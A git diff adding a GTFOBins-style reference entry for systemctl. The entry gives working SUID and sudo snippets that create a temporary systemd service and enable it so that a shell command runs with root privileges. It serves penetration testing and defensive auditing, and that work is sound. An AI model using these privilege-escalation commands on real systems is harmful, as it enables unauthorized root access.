diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md new file mode 100644 index 0000000..3df8397 --- /dev/null +++ b/_gtfobins/systemctl.md @@ -0,0 +1,23 @@ +--- +functions: + suid: + - code: | + TF=$(mktemp).service + echo '[Service] + Type=oneshot + ExecStart=/bin/sh -c "id > /tmp/output" + [Install] + WantedBy=multi-user.target' > $TF + ./systemctl link $TF + ./systemctl enable --now $TF + sudo: + - code: | + TF=$(mktemp).service + echo '[Service] + Type=oneshot + ExecStart=/bin/sh -c "id > /tmp/output" + [Install] + WantedBy=multi-user.target' > $TF + sudo systemctl link $TF + sudo systemctl enable --now $TF +---